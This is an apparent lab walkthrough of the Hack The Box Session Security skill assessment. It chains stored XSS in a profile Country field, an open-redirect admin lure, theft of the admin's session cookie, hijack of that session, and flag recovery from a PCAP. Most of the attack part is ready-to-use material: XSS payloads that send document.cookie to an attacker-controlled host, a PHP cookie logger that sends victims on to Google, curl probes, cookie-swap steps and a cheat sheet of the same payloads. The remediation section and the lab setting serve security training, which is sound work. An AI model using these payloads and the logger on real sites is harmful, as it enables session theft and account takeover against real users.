Chaining Final
The canonical session-attack chain in a well-defended app: stored XSS in a user-controlled profile field, weaponized by an open redirect on an admin-facing endpoint, yielding the admin’s session cookie. From there, hijack the admin session, access admin-only content (flag 1), pull a PCAP attachment, and recover flag 2 via Wireshark filtering. Five distinct primitives composed end-to-end.
# 1. Plant stored XSS in profile (Country field) - exfils document.cookie<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location='http://ATTACKER:8000/log.php?c='+document.cookie"></video>
# 2. Deliver via open redirect on admin-touched endpointhttp://target/submit-solution?url=http://target/profile?email=YOUR_EMAIL
# 3. Admin reviews submission → redirects to your profile → XSS fires in admin context# Your listener logs the admin's cookie
# 4. Hijack admin session in private window# DevTools → Storage → swap auth-session cookie → admin's value
# 5. Browse admin's profile, retrieve flag 1, download PCAP
# 6. Open PCAP in Wireshark, filter http, search for HTB{Success indicator: both flags in hand, full attack chain documented with timestamps and screenshots from your listener, your browser, and Wireshark.
The scenario
Section titled “The scenario”A bug bounty program. In scope:
- Single target:
http://minilab.htb.net - Client-side attacks against end users are explicitly in scope
- Test account:
heavycat106/rocknrol - Through dirbusting, you’ve discovered:
http://minilab.htb.net/submit-solution
The goal: hijack an admin session, read a flag in the admin’s profile, and extract a second flag from a PCAP file linked in that profile.
This is the HTB Session Security skill assessment; the chain is also representative of real engagements where session attacks against high-privilege users are the path to maximum impact.
Step 0 - Reconnaissance
Section titled “Step 0 - Reconnaissance”Log in as heavycat106 and walk the app. Map the surface:
| Page | What it does | Attack surface |
|---|---|---|
/app | Account page; edit profile (email, phone, country) | Profile fields → input validation tests |
/profile?email=X | Public profile (only visible when “shared”) | Stored XSS rendering point |
/app/change-visibility | Toggle profile public/private | CSRF target |
/submit-solution | Discovered via dirbusting; URL parameter | Open redirect / admin lure |
Three observations to verify:
- Is the Country field XSS-injectable? Test with a benign-looking payload that survives form submission.
- Where does the Country render? If it shows on the share/profile page (not just back to me), payload fires when anyone (including admins) views my profile.
- What does
/submit-solutiondo? Specifically: does an admin look at submissions, and if so does theurlparameter become a server-side redirect?
Step 1 - Confirm the stored XSS
Section titled “Step 1 - Confirm the stored XSS”Edit your profile. In the Country field, paste:
"><img src=x onerror=alert(document.domain)>Save. The form accepts the input. Now browse to the share/public profile view:
http://minilab.htb.net/[email protected](Replace with your actual email.) The alert fires. The domain shown is minilab.htb.net - confirming JavaScript is executing in the target’s origin, not a sandbox.
This proves:
- Country field is stored-XSS vulnerable
- Payload renders on the public profile view, which is what an external reviewer would see
- HttpOnly check next
In DevTools console (on the profile page):
> document.cookie"auth-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."The session cookie is readable from JavaScript. HttpOnly is not set. The XSS-to-cookie chain works.
Step 2 - Build the cookie-exfil payload
Section titled “Step 2 - Build the cookie-exfil payload”Replace the test payload with a real cookie-stealer in the Country field. Two payload patterns; pick based on what survives the input filter.
Payload A - Animation-end exfil (overt navigation)
Section titled “Payload A - Animation-end exfil (overt navigation)”<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location='http://YOUR-IP:8000/log.php?c='+document.cookie"></video>The empty @keyframes animation triggers onanimationend immediately on render. The handler navigates the victim’s browser to your log URL with the cookie appended.
Tradeoff: the victim notices their browser navigated. Fine for this engagement (you redirect them back via your log.php).
Payload B - fetch exfil (silent)
Section titled “Payload B - fetch exfil (silent)”<script>fetch('http://YOUR-IP:8000/log.php?c='+btoa(document.cookie))</script>Silent - fetch makes the request without changing the page. Less suspicious if the admin notices nothing unusual.
If the app sanitizes <script> but allows other tags, fall back to Payload A.
Use whichever fires. For this walkthrough I’ll use Payload A (it matches the source-doc scenario).
Step 3 - Stand up the cookie logger
Section titled “Step 3 - Stand up the cookie logger”On your attacking machine:
$ cat > log.php <<'EOF'<?php$logFile = "cookieLog.txt";$cookie = $_REQUEST["c"] ?? "(empty)";$ip = $_SERVER["REMOTE_ADDR"];$ua = $_SERVER["HTTP_USER_AGENT"];$ref = $_SERVER["HTTP_REFERER"] ?? "(no referer)";$time = date('Y-m-d H:i:s');
$handle = fopen($logFile, "a");fwrite($handle, "[$time] $ip\n UA: $ua\n Ref: $ref\n Cookie: $cookie\n\n");fclose($handle);
// Redirect victim to a legit-looking destination so they don't realize what happenedheader("Location: https://www.google.com/");exit;?>EOF
$ php -S 0.0.0.0:8000[Mon Sep 30 14:23:19 2024] PHP 8.1.0 Development Server (http://0.0.0.0:8000) startedTest it yourself first - visit http://YOUR-IP:8000/log.php?c=test123 in a browser, confirm cookieLog.txt is created with the expected content. Always verify your listener before deploying it.
Step 4 - Plant the payload, share the profile
Section titled “Step 4 - Plant the payload, share the profile”Edit your profile. Paste Payload A into Country. Save.
Toggle profile visibility to public (click “Change Visibility” → “Make Public”). This is required - the XSS only fires when someone views the public profile.
Your public profile URL is now:
http://minilab.htb.net/[email protected](Or whatever email is on your account.) Test by opening the profile in a private window - the XSS should fire, your listener should receive a hit with your own cookie. Confirms the end-to-end XSS-to-listener chain works before depending on it.
Step 5 - Probe /submit-solution for open redirect
Section titled “Step 5 - Probe /submit-solution for open redirect”$ curl -is 'http://minilab.htb.net/submit-solution'Look at the response. Two outcomes:
- Form: submit-solution is a form-rendering endpoint. View source, find what fields it accepts.
- JSON / redirect: an API endpoint. Test with a query parameter.
The source doc mentions ?url= as a parameter. Test it:
$ curl -is 'http://minilab.htb.net/submit-solution?url=http://YOUR-IP:8000/' \ -b 'auth-session=YOUR_COOKIE'Two scenarios for the response:
- Immediate redirect to your URL → it’s an open redirect, but probably an unauthenticated one (not useful for admin attack unless admin visits the URL)
- “Submission received” → the URL is queued for admin review. Admin sees the submitted URL later and clicks it.
The second is the bug-bountable behavior: the admin’s browser will follow the URL eventually. That’s the lure.
To confirm: trigger your listener with a benign URL via submit-solution, then wait. If a request shows up from an unfamiliar IP (the admin’s review process), it’s an admin-followed redirect.
Step 6 - Craft the malicious submission URL
Section titled “Step 6 - Craft the malicious submission URL”The chain you want:
- Admin visits
/submit-solution’s review interface - Admin clicks the submitted URL
- Admin’s browser navigates to your profile (
http://minilab.htb.net/profile?email=YOU) - Your stored XSS payload fires in the admin’s browser, with the admin’s cookies
- The XSS exfils the admin’s cookie to your listener
The submission:
http://minilab.htb.net/submit-solution?url=http://minilab.htb.net/[email protected]Submit this URL via the form (or POST, depending on what /submit-solution expects). Now wait.
Notes:
- The URL points to
minilab.htb.net(same origin) - admin’s browser sees a same-origin navigation, no scary warnings, full credential context, your XSS executes as if the admin clicked a normal app link - The cookie that arrives is the admin’s - because the XSS fires in the admin’s browser context
Step 7 - Wait for the admin click; capture the cookie
Section titled “Step 7 - Wait for the admin click; capture the cookie”Watch the listener:
$ tail -f cookieLog.txtWhen the admin reviews the submission:
[2024-09-30 14:31:55] 10.10.10.42 UA: Mozilla/5.0 (Windows NT 10.0; Win64) Firefox/118.0 Ref: http://minilab.htb.net/[email protected] Cookie: auth-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciJ9.xxxThe User-Agent and IP help distinguish the admin from random review traffic. The cookie value is the admin’s session.
If the cookie is base64-encoded (you used Payload B with btoa()), decode:
$ echo 'YXV0aC1zZXNzaW9uPWVKaGJHY2lP...' | base64 -dauth-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...Step 8 - Hijack the admin session
Section titled “Step 8 - Hijack the admin session”Open a private/incognito window. Navigate to http://minilab.htb.net/ - get a login prompt (no session yet). Don’t log in. Instead:
- F12 → Storage (Firefox) or Application (Chrome) → Cookies → select
minilab.htb.net - Find
auth-session(your private window’s pre-login cookie if any, or none) - Double-click value, replace with the admin’s cookie from your log
- Press Enter
- Reload the page
You should now be in the admin’s account. Confirm by browsing /app - you should see the admin’s profile, not “log in to continue.”
If the login prompt persists:
- The cookie may have additional context binding (UA, IP). Match your UA by editing Firefox’s
general.useragent.overrideinabout:config. - The cookie may have expired in the time it took to grab and use it. Sessions in test environments are often short-lived. Trigger the admin click again.
For continuous browsing as the admin, set Burp’s Match-and-Replace or Session Handling Rule to inject the admin cookie on every request - see Hijacking.
Step 9 - Retrieve flag 1 from admin’s profile
Section titled “Step 9 - Retrieve flag 1 from admin’s profile”In the hijacked session, browse:
/app- your homepage as admin- Click “Share” or navigate to
/[email protected](or whatever the admin’s email is - visible in the admin’s profile fields) - Find the flag - typically embedded in the profile description or visible as a button/link
The HTB-style scenario: a “Share” workflow requires the profile to be public. If the admin’s profile is private, you may need to first toggle visibility:
- Click “Change Visibility”
- Click “Make Public”
- Re-load the share view
- Flag 1 is rendered on the share page
HTB{flag_one_value_here}Step 10 - Download the PCAP
Section titled “Step 10 - Download the PCAP”The admin’s profile contains a Flag2 button or link, typically downloading a .pcap file. Click and save:
~/Downloads/flag2.pcapIf the download endpoint requires the admin session (it will), make sure you’re still hijacked when you click - or download via curl with the admin cookie:
$ curl -b 'auth-session=ADMIN_COOKIE' \ -o flag2.pcap \ http://minilab.htb.net/path/to/flag2.pcapStep 11 - Wireshark the PCAP
Section titled “Step 11 - Wireshark the PCAP”$ wireshark flag2.pcapOr for a quick headless pass:
$ tshark -r flag2.pcap -Y httpFilter for HTTP traffic. Look for distinctive content:
- A GET request with a parameter that contains the flag pattern
- A response body containing
HTB{...}
The HTB scenario flag is in a GET parameter:
$ tshark -r flag2.pcap -Y http -T fields -e http.request.uri | grep -i 'HTB{'/some/path?token=HTB{flag_two_value_here}Or in Wireshark GUI:
- Filter:
http - Edit → Find Packet → “Packet bytes” → String
HTB{ - Wireshark highlights the packet containing the flag
- Look at the URI or body field in the packet detail
GET /some/endpoint?secret=HTB{flag_two_value_here} HTTP/1.1Flag 2 captured.
Reporting the chain
Section titled “Reporting the chain”For a real bug bounty submission, every step is its own finding plus a chained-impact narrative:
| Finding | Severity if standalone | Severity in chain |
|---|---|---|
| Stored XSS in profile Country field | Medium | Critical |
| Cookies missing HttpOnly | Low | Medium (enables the XSS chain) |
Open redirect on /submit-solution?url= | Low | High (admin lure) |
| Profile sharing exposes private content | Low | Medium (delivery surface) |
| Pre-shared session cookie reusable in different browser | Low (sessions are stateful by design) | - |
The chained-impact narrative is what justifies a critical-severity rating: each finding alone is low/medium, but composed they yield unauthenticated remote admin session theft.
Recommended remediations to include
Section titled “Recommended remediations to include”For each link in the chain:
- Stored XSS - Output encode all user input rendered in HTML; reject HTML in fields that should be plain text; deploy CSP with
default-src 'self' - HttpOnly missing - Set HttpOnly on the auth-session cookie; add Secure if HTTPS; SameSite=Strict if compatible
- Open redirect - Whitelist allowed redirect destinations; require destinations to be relative paths within the app; if external URLs must be allowed, show a confirmation page first
- Admin-reviews-submission - Render submitted URLs as text, not as clickable links, in the review interface; if admin clicks, sandbox the browser context
Variations and adaptations
Section titled “Variations and adaptations”When the admin doesn’t auto-visit submissions
Section titled “When the admin doesn’t auto-visit submissions”If the submit-solution endpoint just queues submissions and the admin never clicks them:
- Find another admin lure: bug report fields, support ticket bodies, contact form
- Anywhere user-controlled URLs reach an admin’s browser is a candidate
- “View original report” buttons, “preview submission” links, document attachments
When HttpOnly is set
Section titled “When HttpOnly is set”Cookie-exfil dies but the chain isn’t dead. With XSS in the admin’s context, you can:
- Issue same-origin requests with the admin’s authority (CSRF via XSS - see XSS + CSRF chain)
- Read response bodies (Same-Origin Policy permits same-origin reads)
- Exfil page content (admin dashboard data, account lists, API keys in the DOM)
You don’t get a persistent cookie but you get one-shot access for as long as the XSS runs.
When the lure doesn’t fire on stored XSS
Section titled “When the lure doesn’t fire on stored XSS”If the admin reviews the submission as text (not as a clickable link / rendered page), the XSS doesn’t fire. Pivot:
- Find a different admin-rendered surface (admin user list, admin “recent activity” log)
- Use the open redirect alone for phishing: send the admin a
?url=http://your-controlled.comlink in a separate channel
When the open redirect is path-restricted
Section titled “When the open redirect is path-restricted”If submit-solution?url= only accepts paths starting with /, you can still chain - your stored XSS profile is reachable via a path:
http://target/submit-solution?url=/profile?email=YOUThe redirect goes to /profile?email=YOU (same-origin), the XSS fires, the cookie exfils. The URL never leaves the target’s domain so URL-validation rules don’t catch it.
Operational checklist
Section titled “Operational checklist”Step 0 - Recon [ ] Identify profile / sharing endpoints [ ] Identify endpoint(s) that admin reviews [ ] Confirm HttpOnly status on session cookie
Step 1 - XSS confirmation [ ] Test payload in candidate field [ ] Verify execution context (document.domain shows target) [ ] Verify document.cookie returns session cookie
Step 2 - Payload [ ] Build cookie-exfil payload [ ] Plant in vulnerable field [ ] Confirm fire on own profile view
Step 3 - Listener [ ] log.php / nc / external service stood up [ ] Confirm by triggering own XSS
Step 4 - Lure [ ] Identify endpoint admin clicks [ ] Build malicious submission URL [ ] Submit; wait
Step 5 - Capture [ ] Cookie arrives at listener [ ] Distinguish admin from other traffic via UA/IP
Step 6 - Hijack [ ] Private window [ ] Cookie swap [ ] Confirm admin context (user displayed, admin pages accessible)
Step 7 - Flag retrieval [ ] Navigate to admin profile / sharing view [ ] Flag 1 captured [ ] PCAP downloaded
Step 8 - PCAP analysis [ ] Wireshark / tshark filter http [ ] Search for HTB{ pattern [ ] Flag 2 capturedQuick reference
Section titled “Quick reference”| Step | Command / action |
|---|---|
| Test XSS context | DevTools console → document.cookie |
| Animation-end exfil | <style>@keyframes x{}</style><video style="animation-name:x" onanimationend="..."> |
| Fetch exfil (silent) | <script>fetch('//A/?c='+btoa(document.cookie))</script> |
| log.php template | <?php fwrite(fopen('cookieLog.txt','a'), $_REQUEST['c']."\n"); ?> |
| Run logger | php -S 0.0.0.0:8000 |
| Test open redirect | curl -is 'http://target/submit-solution?url=http://A:8000/' |
| Submit malicious URL | ?url=http://target/profile?email=YOUR_EMAIL |
| Hijack - DevTools swap | F12 → Storage → Cookies → swap auth-session value |
| Hijack - Burp swap | Match-and-Replace on Cookie header |
| Flag in PCAP | tshark -r f.pcap -Y http | grep 'HTB{' |
| Wireshark search | Edit → Find Packet → Packet bytes → String HTB{ |